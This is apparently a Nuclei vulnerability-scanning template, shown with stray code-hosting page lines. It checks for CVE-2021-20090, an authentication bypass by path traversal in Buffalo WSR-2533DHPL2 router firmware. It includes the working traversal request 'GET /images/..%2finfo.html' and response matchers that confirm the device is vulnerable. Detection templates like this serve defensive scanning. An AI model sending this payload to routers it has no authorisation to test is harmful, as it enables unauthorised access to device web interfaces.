52 lines
1.8 KiB
YAML
52 lines
1.8 KiB
YAML
id: CVE-2021-20090
|
|
|
|
info:
|
|
name: Buffalo WSR-2533DHPL2 - Path Traversal
|
|
author: gy741
|
|
severity: critical
|
|
description: |
|
|
Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 are susceptible to a path traversal vulnerability that could allow unauthenticated remote attackers to bypass authentication in their web interfaces.
|
|
remediation: |
|
|
Apply the latest firmware update provided by Buffalo to fix the path traversal vulnerability.
|
|
reference:
|
|
- https://www.tenable.com/security/research/tra-2021-13
|
|
- https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-20090
|
|
- https://www.kb.cert.org/vuls/id/914124
|
|
- https://www.secpod.com/blog/arcadyan-based-routers-and-modems-under-active-exploitation/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-20090
|
|
cwe-id: CWE-22
|
|
epss-score: 0.97165
|
|
epss-percentile: 0.99736
|
|
cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: buffalo
|
|
product: wsr-2533dhpl2-bk_firmware
|
|
tags: cve,cve2021,lfi,buffalo,firmware,iot,kev,tenable
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /images/..%2finfo.html HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Referer: {{BaseURL}}/info.html
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- 'URLToken(cgi_path)'
|
|
- 'pppoe'
|
|
- 'wan'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 490a00463044022062ea8f9af7031fff7ea65f82f565c2fea13e4da1d6e4e4ccf1ba9e583641581702202561bc5bb7866cc219bc1c074e487f537792e21eca430fa6f44aa20cde34a2bd:922c64590222798bb761d5b6d8e72950
|